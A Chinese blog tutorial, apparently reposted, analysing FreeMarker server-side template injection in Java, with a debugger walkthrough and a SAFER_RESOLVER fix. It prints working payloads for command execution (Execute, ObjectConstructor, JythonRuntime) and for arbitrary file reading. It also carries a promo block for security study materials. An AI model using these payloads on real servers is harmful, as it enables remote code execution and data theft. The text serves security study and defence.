Java FreeMarker模板引擎注入深入分析

iHacking 06-03 1249

前言：

现时朋友们对“javaftl”可能比较重视，你们都需要了解一些“javaftl”的相关文章。那么小编也在网上汇集了一些有关“javaftl””的相关文章，希望朋友们能喜欢，咱们一起来学习一下吧！

0x01 前言

最近和 F1or 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day，之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。

有三个最重要的模板，其实模板引擎本质上的原理差不多，因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了，所以大体上老生常谈的东西就不继续讲了。

三个模板的模板注入攻击差距其实还是有点大的，而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI

0x02 FreeMarker SSTI

FreeMarker 官网：

对应版本是 2.3.23，一会儿我们搭建环境的时候也用这个版本

FreeMarker 基础语法

关于文本与注释，本文不再强调，重点看插值与 FTL 指令。

插值

插值也叫 Interpolation，即 ${..} 或者 #{..} 格式的部分，将使用数据模型中的部分替代输出

比如这一个 .ftl 文件

<!DOCTYPE html>  <html lang="en">  <head>      <meta charset="UTF-8">      <title>Hello ${name}!</title>      <link href="/css/main.css" rel="stylesheet">  </head>  <body>      <h2 class="hello-title">Hello ${name}!</h2>       <script src="/js/main.js"></script>  </body>  </html>

那么 ${name} 的数据就会从传参里面拿，对应的这个是在 addAttribute 中的 name 参数

FTL 指令

FTL 指令以 # 开头，其他语法和 HTML 大致相同。

我这里其实也花了不少时间看了 FreeMarker 的基础语法，但是并非很透彻，就不误人子弟了，有兴趣的师傅可以自己前往 FreeMarker 手册查看。

FreeMarker SSTI 成因与攻击面

看了一些文章，有些地方有所疏漏，先说 SSTI 的攻击面吧，我们都知道 SSTI 的攻击面其实是模板引擎的渲染，所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎，前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢？这就有关乎我们的攻击面了。

将 HTML 语句放到服务器上有两种方法：

1、文件上传 HTML 文件。

2、若某 CMS 自带有模板编辑功能，这种情况非常多。

因为之前有接触过 Thymeleaf 的 SSTI，Thymeleaf 的 SSTI 非常锋利， Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE（当然这段话很可能是不严谨的

在刚接触 FreeMarker 的 SSTI 的时候，我误以为它和 Thyemelaf 一样，直接通过传参就可以打，后来发现我的想法是大错特错。

环境搭建

一些开发的基本功，因篇幅限制，我也不喜放这些代码的书写，贴个项目地址吧

漏洞复现

前文我有提到，FreeMarker 的 SSTI 必须得是获取到 HTML，再把它转换成模板，从而引发漏洞，所以这里要复现，只能把 HTML 语句插入到 .ftl 里面，太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活，有兴趣的师傅可以滴一下我

payload：

<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

【----帮助网安学习，需要网安学习资料关注我，私信回复“资料”免费获取----】

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集（含答案）

⑧ APP客户端安全检测指南（安卓+IOS）

构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法，都写到脸上来了。

漏洞复现如图

漏洞分析

我们要分析的是，MVC 的思维，以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。

下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView，开始调试

跟进 super.createView()

进一步跟进 loadView() 以及 buildView()，这些方法的业务意义都比较好理解，先 create 一个 View 视图，再将其 load 进来，最后再 build。

在 buildView() 方法当中，先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类，又进行了一些基础赋值，将我们的 View Build 了出来（也就是 View 变得有模有样了）

继续往下走，回到 loadView() 方法，loadView() 方法调用了 view.checkResource() 方法

checkResource() 方法做了两件事，第一件事是判断 Resource 当中的 url 是否为空，也就是判断是否存在 resource，如果 url 都没东西，那么后续的模板引擎加载就更不用说了；第二件事是进行 template 的获取，也可以把这理解为准备开始做模板引擎加载的业务了。

跟进 getTemplate() 方法

首先做了一些赋值判断，再判断 Template 的存在，我们跟进 this.cache.getTemplate

这里从 cache 里面取值，而在我们 putTemplate 设置模板的时候，也会将至存储到 cache中。

跟进 getTemplateInternal()

先做了一些基本的判断，到 202 行，跟进 lookupTemplate() 方法

这里代码很冗杂，最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy

代码会先拼接 _zh_CN，再寻找未拼接 _zh_CN 的模板名，调用 this.findTemplateSource(path) 获取模板实例。

这里就获取到了 handle 执行返回的模板视图实例，这里我 IDEA 没有走过去，就跟着奶思师傅的文章先分析了。

org.springframework.web.servlet.DispatcherServlet#doDispatch 流程

handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。

调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender

跟进 this.processTemplate()

跟进 process()

process() 方法是做了一个输出（生成） HTML 文件或其他文件的工作，相当于渲染的最后一步了。

在 process() 方法中，会对 ftl 的文件进行遍历，读取一些信息，下面我们先说对于正常语句的处理，再说对于 ftl 表达式的处理。

在读取到每一条 freeMarker 表达式语句的时候，会二次调用 visit() 方法，而 visit() 方法又调用了 element.accept()，跟进

跟进 calculateInterpolatedStringOrMarkup() 方法

calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记，跟进 eval() 方法

eval() 方法简单判断了 constantValue 是否为 null，这里 constantValue 为 null，跟进 this._eval()，一般的 _eval() 方法只是将 evn 获取一下，但是对于 ftl 语句就不是这样了，一般的 _eval() 方法如下

而对于 ftl 表达式来说，accept 方法是这样的

跟进一下 accept() 方法

做了一系列基础判断，先判断 namespaceExp 是否为 null，接着又判断 this.operatorType 是否等于 65536，到第 105 行，跟进 eval() 方法，再跟进 _eval()

我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类，也就是说这一个语句相当于

Object result = targetMethod.exec(argumentStrings);// 等价于Object result = freemarker.template.utility.Execute.exec(argumentStrings);

而这一步并非直接进行命令执行，而是先把这个类通过 newInstance() 的方式进行初始化。

命令执行的参数，会被拿出来，在下一次的同样流程中作为命令被执行，如图

至此，分析结束，很有意思的一个流程分析。

FreeMarker SSTI 的攻防二象性

我们目前的 PoC 是这么打的

<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

这是因为 FreeMarker 的内置函数 new 导致的，下面我们简单介绍一下 FreeMarker的两个内置函数—— new 和 api

内置函数 new

可创建任意实现了 TemplateModel 接口的 Java 对象，同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。以下两种常见的FreeMarker模版注入poc就是利用new函数，创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute

API

value?api 提供对 value 的 API（通常是 Java API）的访问，例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类，或者也可以通过 getResource来实现任意文件读取。但是，当api_builtin_enabled为 true 时才可使用 api 函数，而该配置在 2.3.22 版本之后默认为 false。

由此我们可以构造出一系列的 bypass PoC

POC1

<#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")}

POC2

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}

POC3

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

POC4

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }

读取文件

<#assign is=object?api.class.getResourceAsStream("/Test.class")>FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if>${byte}, </#list>]

<#assign uri=object?api.class.getResource("/").toURI()><#assign input=uri?api.create(";).toURL().openConnection()><#assign is=input?api.getInputStream()>FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if>${byte}, </#list>]

从 2.3.17版本以后，官方版本提供了三种TemplateClassResolver对类进行解析： 1、UNRESTRICTED_RESOLVER：可以通过 ClassUtil.forName(className) 获取任何类。

2、SAFER_RESOLVER：不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER：不能解析任何类。可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver，从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析。

FreeMarker SSTI 修复

因为 FreeMarker 不能直接传参打，所以此处的代码参考奶思师傅。

package freemarker;import freemarker.cache.StringTemplateLoader;import freemarker.core.TemplateClassResolver;import freemarker.template.Configuration;import freemarker.template.Template;import java.io.IOException;import java.io.OutputStreamWriter;import java.io.StringWriter;import java.util.HashMap;public class freemarker_ssti {    public static void main(String[] args) throws Exception {        //设置模板        HashMap<String, String> map = new HashMap<String, String>();        String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";        System.out.println(poc);        StringTemplateLoader stringLoader = new StringTemplateLoader();        Configuration cfg = new Configuration();        stringLoader.putTemplate("name",poc);        cfg.setTemplateLoader(stringLoader);        //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);        //处理解析模板        Template Template_name = cfg.getTemplate("name");        StringWriter stringWriter = new StringWriter();        Template_name.process(Template_name,stringWriter);    }}

防御成功

0x03 小结

比较其他两个模板引擎来说，FreeMarker 的 SSTI 更为严格一些，它的防护也做的相当有力，这个给自己挖个小坑吧，后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。

本文地址：http://www.longkongtuishu.com/cac0fBmsCBVoPCw.html

标签： #javaftl